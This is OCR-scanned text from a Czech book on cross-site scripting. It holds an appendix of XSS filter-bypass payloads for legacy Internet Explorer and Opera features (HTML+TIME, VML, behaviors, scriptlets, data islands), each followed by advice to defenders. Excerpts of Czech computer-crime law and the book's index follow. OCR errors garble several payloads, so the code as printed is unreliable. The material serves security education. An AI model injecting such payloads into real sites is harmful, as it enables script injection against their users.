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Vykonani JavaScriptu via HTML+TIME bez uZivatelské interakce (1)

Tento lehce zamaskovany Gtok pouziva HTMLATIME k vyvolani JavaScriptu bez
zasahu uzivatele - a také bez podezielych obsluh udalosti, pouze s atributy
“"attributename” a "to"
l1<set/xmlns="urn:schemas-microsoft-com:time"’
style="beh&#x4lvior:url (#defaultftime2)
attributename="innerhtml’
to="&lt;img/src=&quot;x&quot;onerror=alert (1) &gt; ">
Nepovolte vlastnost "behavior" v uzivatelsky vkladaném CSS a HTML a nespoléhejte
na blacklisty nebezpeénych HTML tagi. Pomérné neznamé APl HTMLA+TIME nabizi
velmi mnoho zptisobi, jak vykonat skript, at’ uz s uzivatelskou interakcei ¢i bez ni.
Pouziti blacklistl se vyhnéte, jak jen to je mozné.
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Vykonani JavaScriptu via HTML+TIME bez uZivatelské interakce (2)

Tento utok pouziva atributy "attributename" a "values" k namapovani kodovaného
HTML do atributu.
l<animate/xmlns=urn:schemas-microsoft-com:time
style=behavior:url (#default#time2)
attributename=innerhtml
values=&lt;img/src=&quot; .&quot;onerror=alert (1) &gt;>
Pokud je mozné namapovat HTMLA+TIME namespace a vlastnost behavior nékterému
HTML elementu, lze vyuzit Sirokou Skalu atributl k provedeni JavaScriptu. Neméli
byste povolit atributy "xmlns" v uzivatelsky vkladaném HTML, stejné jako vlastnost
"behavior". Nespoléhejte na blacklisty, kdyz pracujete s uzivatelsky vlozenym HTML.
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VML ramec s vloZenym VML objektem plus onmouseover

VML ramec pracuje s objektem vlozenym pomoci "src", ktery odkazuje na jiny VML
objekt. V quirks mode miize obsahovat VML ramec objekt nebo regulerni HTML,
které odpovi na mouseover udalost.
<vmlframe xmlns=urn:schemas-microsoft-com:vml
style=behavior:url (#default#vml) ;position:absolute;
width:100%;height:100% src=test.vml#xss></vmlframe>

<xml> <rect style="height:100%;width:100%" id="xss"
onmouseover="alert (1)" strokecolor="white"
strokeweight="2000px" filled="false" /> </xml>
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Internet Explorer 9.0

VML objekt Line pouZiva atribut href s JS URI

Ukéazka nakresli velmi Sirokou ¢aru, ktera odpovi na kliknuti vyvolanim JS URI.
Vsimnéte si, ze aktualni URI je maskovano.
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml
style=behavior:url (#default#vml) ;position:absolute
href=javascript:alert (1) strokecolor=white
strokeweight=1000px from=0 to=1000 /></a>

Nedovolte vlastnost behavior v uzivatelskych stylech ¢&i HTML a nespoléhejte se na
blacklisty, které filtruji "podezrelé tagy".
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AnchorClick behavior dovoluje pouZzit atribut folder misto href

AnchorClick behavior dovoluje pouZit atribut folder misto href v tagu A

<a style="behavior:url (#default#AnchorClick) ;"
folder="javascript:alert (1) ">XXX</a>

Nedovolte vlastnost behavior v uzivatelskych stylech ¢i HTML a nespoléhejte se na
blacklisty, které filtruji "podezielé tagy".
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Spusténi JavaScriptu skrz SCRIPTLET v Internet Exploreru

Internet Explorer podporuje Scriptlety jako alternativni metodu pro Data Islands.
Uzitim uvedeného piikladu bude JavaScript spustén bez uzivatelské interakce.

<x style="behavior:url (test.sct)">

<SCRIPTLET><IMPLEMENTS Type="Behavior"></IMPLEMENTS>
<SCRIPT Language="javascript">alert (1)</SCRIPT>
</SCRIPTLET>
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JavaScript v Data Islands Internet Exploreru

Internet Explorer podporuje Data Islads jako metodu XML. Uzitim uvedeného
ptikladu bude JavaScript spustén bez uzivatelské interakce.
<xml id="xss" src="test.htc"></xml>
<label dataformatas="html" datasrc="#xss"
datafld="payload"></label>

<?xml version="1.0"?> <x> <payload><![CDATA[<img src=x
onerror=alert (1)>]]></payload> </x>
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UZzivatelé by neméli mit moznost vlozit HTML obsahujici tag <XML>. Pokud je vSak
jaho pouziti vyzadovano, ujistéte se, ze "dataformatas” a "datasrc" nejsou uvedeny ve
whitelistu.
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Server-sent udalost - Opera a tag <EVENT-SOURCE> (1)

Opera umoziuje pouziti tagit <KEVENT-SOURCE>. V ptipadé, ze atribut "src"
odkazuje na platny zdroj napii¢ doménami, je mozné zachytit udalosti a obsahujici
data.

<event-source src="event.php" onload="alert(1l)">

<?php header ("Content-Type: application/x-dom-event-
stream"); die ("Event: load\ndata: \n\n"); 2>
Ujistéte se, ze uzivatelé nemohou ovlivnit zdroj tagh <EVENT-SOURCE> a tagy
samotné nejsou uvedeny ve whitelistu.
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Server-sent udalost - Opera a tag <EVENT-SOURCE> (2)

Opera umoziuje pouziti tagit <KEVENT-SOURCE> pro pfijimani server-sent udalosti.
V tomto piikladu je datové URI, které se pouzije po vyskytu udalosti. Pro spusténi je
potfeba kliknout na néktery HTML prvek. Béhem XSS tutoki, které vyzaduji interakci
s uzivatelem, miize byt tento zpisob pouzit pro spusténi aktivniho skriptu.
<a href="javascript:alert(l)">
<event-source src="data:application/x-dom-event-
stream, Event:click%$0Adata: XXX%0AS0A">

Ujistéte se, Ze uzivatelé nemohou ovlivnit zdroj tagih <EVENT-SOURCE> a tagy
samotné nejsou uvedeny ve whitelistu.
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Priloha C
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§ 180 Neopravnéné nakladani s osobnimi udaji

@

O]

©)

(4)

Kdo, byt i z nedbalosti, neopravnéné zvetejni, sdéli, zpfistupni, jinak
zpracovava nebo si pfisvoji osobni udaje, které¢ byly o jiném
shromazdéné v souvislosti s vykonem vefejné moci, a zplsobi tim
vaznou Ujmu na pravech nebo opravnénych zajmech osoby, jiz se
osobni udaje tykaji, bude potrestan odnétim svobody az na tii 1éta nebo
zadkazem ¢innosti.

Stejné bude potrestan, kdo, byt i z nedbalosti, porusi statem uloZenou
nebo uznanou povinnost mlcenlivosti tim, Ze neopravnéné zvetejni,
sdéli nebo zptistupni tfeti osob&é osobni udaje ziskané v souvislosti
s vykonem svého povolani, zaméstnani nebo funkce, a zpusobi tim
vaznou Ujmu na pravech nebo opravnénych zajmech osoby, jiz se
osobni udaje tykaji.

Odnétim svobody na jeden rok az pét let, penéZitym trestem nebo
zékazem Cinnosti bude pachatel potrestan,

a) spacha-li ¢in uvedeny v odstavci 1 nebo 2 jako c¢len
organizované skupiny,

b) spacha-li takovy ¢in tiskem, filmem, rozhlasem, televizi,
vetejné pristupnou pocitacovou siti nebo jinym obdobné
ucinnym zpisobem,

C) zpusobi-li takovym ¢inem znaénou $kodu, nebo

d) spacha-li takovy ¢&in v umyslu ziskat pro sebe nebo pro
jiného znacny prospéch.

Odnétim svobody na tfi 1éta az osm let bude pachatel potrestan,

a) zpusobi-li ¢inem uvedenym v odstavci 1 nebo 2 Skodu
velkého rozsahu, nebo

b) spacha-li takovy ¢in v umyslu ziskat pro sebe nebo pro
jiného prospéch velkého rozsahu.




322

Cross-Site Scripting v praxi

§ 182 Poruseni tajemstvi dopravovanych zprav

(1) Kdo umyslIné porusi tajemstvi

a)

b)

©)

uzavieného listu nebo jiné pisemnosti pii poskytovani
postovni sluzby nebo piepravované jinou dopravni sluzbou
nebo dopravnim zafizenim,

datové, textové, hlasové, zvukové ¢&i obrazové zpravy
posilané prostfednictvim sité elektronickych komunikaci
a prifaditelné k identifikovanému tucastniku nebo uzivateli,
ktery zpravu pfijima, nebo

nevetejného pienosu pocitacovych dat do pocitacového
systtmu, z n¢ nebo v jeho ramci, vcetné
elektromagnetického vyzafovani z pocitacového systému,
prenasejiciho takova pocitacovad data, bude potrestin
odnétim svobody az na dvé 1éta nebo zakazem ¢innosti.

(2) Stejné bude potrestan, kdo v umyslu zplsobit jinému $kodu nebo opatfit
sobé nebo jinému neopravnény prospéch

a)

b)

prozradi tajemstvi, o némz se dozvédél z pisemnosti,
telegramu, telefonniho hovoru nebo pienosu prostiednictvim
sité elektronickych komunikaci, ktery nebyl urfen jemu,
nebo

takového tajemstvi vyuZzije.

(3) Odnétim svobody na Sest mésict az tii 1éta nebo zakazem ¢innosti bude
pachatel potrestan,

a)

b)

©)
d)

spacha-li ¢in uvedeny v odstavci 1 nebo 2 jako ¢len
organizované skupiny,

spacha-li takovy ¢in ze zavrzenihodné pohnutky,
zpisobi-li takovym ¢inem zna¢nou $kodu, nebo

spacha-li takovy €in v umyslu ziskat pro sebe nebo pro
jiného zna¢ny prospéch.

(4) Odnétim svobody na jeden rok az pét let nebo penézitym trestem bude
pachatel potrestan,

a)
b)

spacha-li ¢in uvedeny v odstavci 1 nebo 2 jako ufedni osoba,

zpusobi-li takovym ¢inem Skodu velkého rozsahu, nebo
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c) spacha-li takovy ¢in v Umyslu ziskat pro sebe nebo pro
jiného prospéch velkého rozsahu.

(5) Zaméstnanec provozovatele posStovnich sluzeb, telekomunikaéni sluzby
nebo pocitacového systému anebo kdokoli jiny vykonavajici
komunikacni ¢innosti, ktery

a) spacha ¢in uvedeny v odstavci 1 nebo 2,
b) jinému imysln€ umozni spachat takovy ¢in, nebo
c) pozméni nebo potladi pisemnost obsazenou v poStovni

zasilce nebo dopravovanou dopravnim zafizenim anebo
zpravu podanou nevefejnym pifenosem pocitacovych dat,
telefonicky, telegraficky nebo jinym podobnym zpisobem,
bude potrestan odnétim svobody na jeden rok az pét let,
penézitym trestem nebo zakazem ¢innosti.

(6) Odnétim svobody na tii 1éta aZ deset let bude pachatel potrestan,

a) zpasobi-li ¢inem uvedenym v odstavci 5 Skodu velkého
rozsahu, nebo

b) spacha-li takovy ¢in v umyslu ziskat pro sebe nebo pro
jiného prospéch velkého rozsahu.

§ 183 Poruseni tajemstvi listin a jinych dokumentu
uchovavanych v soukromi

(1) Kdo neopravnéné porusi tajemstvi listiny nebo jiné pisemnosti,
fotografie, filmu nebo jiného zdznamu, pocitacovych dat anebo jiného
dokumentu uchovavaného v soukromi jiné¢ho tim, ze je zvefejni,
zptistupni tieti osobé nebo je jinym zplsobem pouzije, bude potrestan
odnétim svobody az na jeden rok, zakazem ¢innosti nebo propadnutim
véci nebo jiné majetkové hodnoty.

(2) Odnétim svobody az na dvé 1éta, zakazem ¢innosti nebo propadnutim
véci nebo jiné majetkové hodnoty bude pachatel potrestan, spacha-li ¢in
uvedeny v odstavei 1 v umyslu ziskat pro sebe nebo pro jiného
majetkovy nebo jiny prospéch, zpisobit jinému Skodu nebo jinou
vaznou ujmu, anebo ohrozit jeho spoleenskou vaznost.

(3) Odnétim svobody na Sest mésicii az pét let nebo penézitym trestem
bude pachatel potrestan,
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a) spacha-li ¢in uvedeny v odstavci 1 jako ¢len organizované
skupiny,
b) spacha-li takovy ¢in vi¢i jinému pro jeho skute¢nou nebo

domnélou rasu, pfislusnost k etnické skuping, narodnost,
politické pfesvédCeni, vyznani nebo proto, Ze je skutecné
nebo domnéle bez vyznani,

c) zpusobi-li takovym ¢inem znaénou $kodu, nebo

d) spacha-li takovy ¢in v Umyslu ziskat pro sebe nebo pro
jiného znacny prospéch.

(4) Odnétim svobody na dvé 1éta az osm let bude pachatel potrestan,

a) zpisobi-li ¢inem uvedenym v odstavei 1 Skodu velkého
rozsahu, nebo

b) spacha-li takovy ¢in v amyslu ziskat pro sebe nebo pro
jiného prospéch velkého rozsahu.

§ 230 Neopravnény pristup k poéitaéovému systému a
nosici informaci

(1) Kdo ptekona bezpetnostni opatfeni, a tim neopravnéné ziska ptistup
Kk pocitatovému systému nebo k jeho ¢asti, bude potrestdin odnétim
svobody az na jeden rok, zdkazem ¢innosti nebo propadnutim véci nebo
jiné majetkové hodnoty.

(2) Kdo ziska ptistup k poéitaovému systému nebo k nosiéi informaci a

a) neopravnéné uzije data ulozena v pocitacovém systému nebo
na nosici informaci,

b) data uloZzena v pocitacovém systému nebo na nosici
informaci neopravnéné vymaze nebo jinak znici, poskodi,
zmeéni, potlaci, snizi jejich kvalitu nebo je ucini
neupotiebitelnymi,

c) padéla nebo pozméni data ulozena v pocitaovém systému
nebo na nosi¢i informaci tak, aby byla povazovéana za prava
nebo podle nich bylo jednano tak, jako by to byla data prava,
bez ohledu na to, zda jsou tato data piimo Citelna
a srozumitelna, nebo
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d) neopravnéné vlozi data do pocitacového systému nebo na
nosi¢ informaci nebo uéini jiny zasah do programového nebo
technického vybaveni pocitaée nebo jiného technického
zafizeni pro zpracovani dat, bude potrestan odnétim svobody
az na dv¢ léta, zakazem Cinnosti nebo propadnutim véci nebo
jiné majetkové hodnoty.

(3) Odnétim svobody na Sest mésici az tfi 1éta, zdkazem Cinnosti nebo
propadnutim véci nebo jiné majetkové hodnoty bude pachatel potrestan,
spacha-li ¢in uvedeny v odstavci 1 nebo 2

a) v umyslu zpusobit jinému Skodu nebo jinou Gjmu nebo
ziskat sobé€ nebo jinému neopravnény prospéch, nebo

b) vV Umyslu neopravnéné omezit funkcénost pocitatového
systému nebo jiného technického zafizeni pro zpracovani
dat.

(4) Odnétim svobody na jeden rok az pét let nebo penézitym trestem bude
pachatel potrestan,

a) spacha-li ¢in uvedeny v odstavci 1 nebo 2 jako clen
organizované skupiny,

b) zpusobi-1i takovym ¢inem zna¢nou $kodu,

C) zpusobi-li takovym ¢inem vaznou poruchu v ¢innosti organu

statni spravy, uzemni samospravy, soudu nebo jiného organu
vetejné moci,

d) ziska-li takovym ¢inem pro sebe nebo pro jiného znacny
prospéch, nebo

e) zpasobi-li takovym ¢inem vaznou poruchu v cinnosti
pravnické nebo fyzické osoby, ktera je podnikatelem.

(5) Odnétim svobody na tii 1éta aZ osm let bude pachatel potrestan,

a) zpasobi-li ¢inem uvedenym v odstavci 1 nebo 2 Skodu
velkého rozsahu, nebo

b) ziska-li takovym ¢inem pro sebe nebo pro jiného prospéch
velkého rozsahu.
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§ 231 Opatieni a prechovavani pristupového zarizeni
a hesla k pocitacovému systému a jinych takovych dat

(1) Kdo v umyslu spachat trestny &in poruseni tajemstvi dopravovanych
zprav podle §182 odst. 1 pism. b), ¢) nebo trestny ¢in neopravnéného
pristupu k pocitaovému systému a nosiéi informaci podle §230 odst. 1,
2 vyrobi, uvede do ob&hu, doveze, vyveze, proveze, nabizi,
zprostifedkuje, proda nebo jinak zpfistupni, sob&é nebo jinému opatii
nebo prechovava

a) zafizeni nebo jeho soucast, postup, nastroj nebo jakykoli jiny
prostiedek, véetné pocitacového programu, vytvoreny nebo
pfizptisobeny k neopravnénému pfistupu do  sité
elektronickych komunikaci, k pocitacovému systému nebo
k jeho &asti, nebo

b) pocitadové heslo, piistupovy kod, data, postup nebo jakykoli
jiny podobny prostiedek, pomoci n¢hoz lze ziskat piistup
Kk pocitatovému systému nebo jeho ¢&asti, bude potrestan
odnétim svobody az na jeden rok, propadnutim véci nebo
jiné majetkové hodnoty nebo zakazem ¢innosti.

(2) Odnétim svobody az na tii 1éta, zdkazem Cinnosti nebo propadnutim
véci nebo jiné majetkové hodnoty bude pachatel potrestan,

a) spacha-li ¢in uvedeny v odstavci 1 jako ¢len organizované
skupiny, nebo

b) ziska-li takovym ¢inem pro sebe nebo pro jiného znaény
prospéch.

(3) Odnétim svobody na Sest mésicii az pét let bude pachatel potrestan,
ziska-li ¢inem uvedenym v odstavci 1 pro sebe nebo pro jiného
prospéch velkého rozsahu.
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§ 232 Poskozeni zaznamu v pocéitacovém systému a na
nosici informaci a zasah do vybaveni pocitace
z nedbalosti

(1) Kdo =z hrubé nedbalosti poruSenim povinnosti vyplyvajici ze
zaméstnani, povolani, postaveni nebo funkce nebo ulozené podle
zakona nebo smluvné prevzaté

a) data ulozena v pocitatovém systému nebo na nosiéi
informaci  zni¢i, poskodi, pozméni nebo  udini
neupotiebitelnymi, nebo

b) ucini zasah do technického nebo programového vybaveni
pocitace nebo jiného technického zafizeni pro zpracovani
dat, a tim zptsobi na cizim majetku zna¢nou $kodu, bude
potrestan odnétim svobody az na Sest mésict, zakazem
¢innosti nebo propadnutim véci nebo jiné majetkové
hodnoty.

(2) Odnétim svobody aZ na dv¢ léta, zdkazem &innosti nebo propadnutim
véci nebo jiné majetkové hodnoty bude pachatel potrestan, zptsobi-li
¢inem uvedenym v odstavci 1 skodu velkého rozsahu.
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Rejstiik

htaccess - 73, 82, 149
<script> - 13
404 Not Found - 148

A

absolutni odkaz - 16

Access-Control-Allow-Origin - 192

Acrobat Reader - 137

action - 35, 72,214

Action Script - 22, 122, 123

ActionScript Message Format - 134

ActiveX - 36, 244

Acunetix Web Vulnerability Scanner
-199

adresni fadek - 20

Achilles - 49

AJAX - 36

alert - 12, 28, 57

allowNetworking - 126

allowScriptAccess - 126

API - 24

apostrof - 72, 107, 247

ASCII - 162, 173

ASCII kddovani - 171

asfunction: - 132

asynchronni - 36, 38

atribut - 17, 26, 72, 93, 98

AttackAPI - 17

attribute nodes - 26

B
Base64 - 21,97, 175
BeEF - 241

behavior - 152
bezpecnostni filtr - 158, 248
bezpecnostni politika - 258
bilé znaky - 117, 159
blacklist - 248

body - 22

bookmarklet - 20

brutte force - 39

Burp Suite - 49

bypass - 98

bypass atributii - 102
bypass pole textarea - 98
bypass prvku script - 111
bypass prvku title - 101

C

CAL9000 - 51

case sensitive - 158

CDATA - 15

clickjacking - 85, 110

clickTAG - 128

Content Security Policy - 16, 59, 90,
258

Content Spoofing - 91

content-type - 93, 120, 182

cookie - 28

cookiejacking - 41

cookies - 77, 146, 189, 207, 211

CRLF injection - 117

Cross Site Reference Forgery - 76

Cross Site Request Forgery - 76

Cross Site Scripting + 52

Cross-Origin Resource Sharing - 191

Cross-Site Flashing - 130

Cross-Site Tracing - 213

CSP - 258

CSRF - 76

CSS - 12, 150, 174

v

C

Casova posloupnost - 13
Casovani - 28, 94

D
data: - 95,97, 115
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DATA: - 21

dcetiny objekt - 24
defacement - 216
dekoddovani - 50
dekompilace SWF - 136
direktiva - 95

direktivy CSP - 259
document - 26, 28, 34
Document Object Model - 12, 24
Dojo - 17

DOM - 12, 24, 46, 115
DOM Inspector - 27, 46
DOM-based XSS - 74
dvojité kodovani - 164

E

ECMAScript - 10
editor - 43

element - 25

element nodes - 25
elements - 33

embed - 124, 126, 127
escape sekvence znaki - 173
escapovani - 72

eval - 171,172
expression - 151, 175
externi soubor - 15, 92

F

file: - 40, 137

filtr - 158
fingerprinting - 228
Firebug - 27, 45
Flash - 122

Flash cookies - 135
FlashVars - 127
FLV - 134

form - 214

forms - 33

formulat - 34

frame - 36
FRAME-ANCESTORS - 90
fromCharCode - 171
funkce - 27

G

GET - 62, 189, 203
GET2MAIL - 215

GET2POST - 73, 113
getElementByld - 28, 34
getElementsByName - 28
getElementsByTagName - 28, 34
grafické soubory - 120

Graficky forméat SVG - 121

H

Hackvertor - 50

header - 73

hidden - 72

history - 27

href - 110

HTML - 12

HTML entita - 166

HTML injection - 57, 91
htmlspecialchars - 165, 247
HTTP - 76

HTTP hlavicka - 116, 147
HTTP Response Splitting - 116
http-equiv - 20

httpOnly - 77, 208, 211

Ch

charset - 182
children - 24
chybova konzola - 44

identifikace uZzivatele - 76
identifikator relace - 76
iframe - 36, 79

image - 109

index - 33

in-line skripty - 17, 93
innerHTML - 216, 240
input - 102, 109

interni sit’ - 82

interpret - 11

intranet - 224
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J moz-binding - 152, 175
miizka - 75
JavaScript - 10, 11 MTASC - 123
javascript: - 20, 95, 115
jQuery - 17 N
JS framework - 12, 17
JScript.Encode - 176 nastroje - 42, 194
NAT - 82,224
K neviditelnost prvku - 190
non-alfanumericky JavaScript - 185
kaskadové styly - 150 non-perzistentni XSS - 62
keylogger - 217 NoScript - 251
knihovna funkei - 17, 93 NULL - 159
kodovani - 50, 162, 177 nulovy znak - 159
komentaf - 14, 106, 112, 160
komunikace - 234 (o)
komunikaéni kanal - 37, 188
kontext - 98 obfuskace JavaScriptu - 184
kontrola - 21 object - 124, 126, 127
konverze - 113 objekt - 24
konverze metod - 68, 73 obrana proti clickjackingu - 89
kotva - 75 obrana proti CSRF - 82
kradez session - 203 odeslani formulate - 72
odkazovani - 33
L odkazy - 21
odloZeni akce - 94, 201, 207
ladéni skriptu - 45 odloZeni startu - 22
LFI - 144 omezeni - 40
load - 94 onclick - 88, 108
loadVars - 127 onerror - 94, 109, 220
Local File Inclusion - 144 onload - 22, 94, 109, 220
Local Shared Objects - 135 onMouseOver - 88
location - 27, 116, 216 °“R‘?ad¥sét8atec“a“ge S192
lokalni filesystém - 138 N
lokalni HTTP proxy - 243 P
LSO - 135 opener - 28, 205
Origin - 192
oSetfeni vystupu - 54
M ovladage udalosti - 93

magic_quotes_gpc * 183
malware - 244 P
matefsky objekt - 24

meta tag - 20, 35 Paros - 49
thod - 72 password cracker - 222
T PDF - 137

metoda - 25,27, 39
MIME typ - 93, 97
mod_alias - 73

persistentni XSS - 54
podmin&né komentéie - 160




Rejstrik

331

pole prvki - 33

pop-up okno -+ 207

posluchace udalosti - 22

POST - 68, 203

potomek - 24

pozadavek - 76

proménna - 27

protokol HTTP - 76

Prototype - 17

proxy servery - 47

piesmérovani - 69, 73, 82, 96, 112,
205, 216

presmérovani cizi - 114

presmérovani vetejné - 113

pfihlasovaci formulaf - 24, 214

PSPad - 43

Q

QuickTime - 139

R

readyState - 38, 39, 192
readyStateChange - 38
referer - 77, 82, 114, 204
referrer - 28, 207
reflected XSS - 62
reflektované XSS - 62
register globals - 68
regularni vyrazy - 183
relativni odkaz - 16
Remote File Inclusion - 144
responseText - 39, 192
responseXML - 38

RFI - 144

fetézec - 72

S

Same Origin Policy - 39, 40, 52,
146, 152, 191, 205, 239

scanner otevienych portt - 226

self-contained skript - 20, 95

send - 37

session stealing - 203

sessionid - 76

setInterval - 234
setRequestHeader - 38
setTimeout - 201, 207
siblings - 24

SIXSS - 141

skenovani vnitini sité - 224
skriptovaci jazyky - 10
SOOM.cz - 113, 196, 215
source - 183

SQL injection - 141

src - 15, 92

status - 38, 192

status bar - 67

stavovove kody HTTP - 149
stavovy kod HTTP - 38
stranka 404 - 148
stromova struktura - 24
struktura dokumentu - 27
submit - 35, 72

SVG - 121

swf - 122,130

SWF - 136

SWFMILL - 124
synchronni - 36

T

Tamper Data - 47
teCkova notace - 33
Testmail - 196
testovani - 194

text nodes - 25
text/javascript - 93
textarea - 98

textové uzly - 25, 35
time2 Behavior - 94, 201

TinyURL - 113
title - 101
token - 83
TRACE - 213

TramperData - 195
type - 14, 72, 109

U
uddlosti - 94
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unescape - 164

unicode - 173

unos sezeni - 203

URL - 63

URL kédovani - 114, 162
urldecode - 164
US-ASCII - 181

UTF-7 - 181

uvozovky - 72, 107, 247
uvozujici znaky - 72
UXSS - 137

uzel DOM - 25

uzly atributi - 26

uzly prvka - 25

\

value - 33, 72

VBScript - 10, 21
VBScript: - 95
view-source: - 87
vlastnost - 24, 25, 27, 39
vstupni pole - 109

W

Web Developer - 68
WebScarab - 48, 198

whitelist - 248

window - 22, 27, 28, 151, 206
Windows Script Decoder - 177
Windows Script Encoder - 176

X

XBL - 152

X-Content-Security-Policy - 259

X-Content-Security-Policy-Report-
Only - 259

XdomainRequest - 234

XDomainRequest - 39, 191

X-FRAME-OPTIONS - 89

XHTML - 14,111

XMLHttpRequest - 36, 37, 39, 82,
191, 211, 217, 234

XSRF - 76

XSS - 52

XSS backdoor - 234

XSS cerv - 231

XSS Filter - 68, 251, 253

XSS Shell / XSS Tunnel - 242

XSS Worms - 231

XSSer - 198
XSS-me - 197
Z

zabudované objekty - 27
zakladni typy dat - 27
zakodovat - 114
zalozka - 75

znakova sada - 180
zpétné lomitko - 173
zranitelnosti + 52




